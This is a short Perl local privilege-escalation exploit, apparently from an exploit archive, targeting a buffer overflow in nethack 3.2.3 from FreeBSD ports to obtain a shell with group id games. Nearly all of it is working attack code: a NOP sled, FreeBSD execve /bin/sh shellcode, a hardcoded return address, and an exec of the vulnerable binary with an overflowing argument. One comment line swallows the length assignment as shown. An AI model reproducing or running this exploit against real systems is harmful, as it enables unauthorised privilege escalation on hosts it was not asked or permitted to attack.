Local Exploit for a buffer overflow in /usr/ports/games/nethack32 which gives a privilege escalation to group id games. By Knud Erik H鴍gaard
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#!/usr/bin/perl
# knud vs. /usr/ports/games/nethack32 / nethack-3.2.3
# freebsd edition.. gives gid games
# bug sent to various lists by 'tsao_4sh0@hushmail.com'$len = 1000;
$ret = 0xbfbffb7f; # on my 4.7-RELEASE
$nop = "\x90";
$offset = 0;
$shellcode ="\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56". #freebsd 29bytes
"\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f". #execve /bin/sh
"\x62\x69\x6e\x2f\x73\x68\x23";
#zillionATsafemode.org
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
local($ENV{'EGG'}) = $buffer;
$cakeman = $new_ret x 57 ;
exec("/usr/local/share/nethack/nethack -s $cakeman");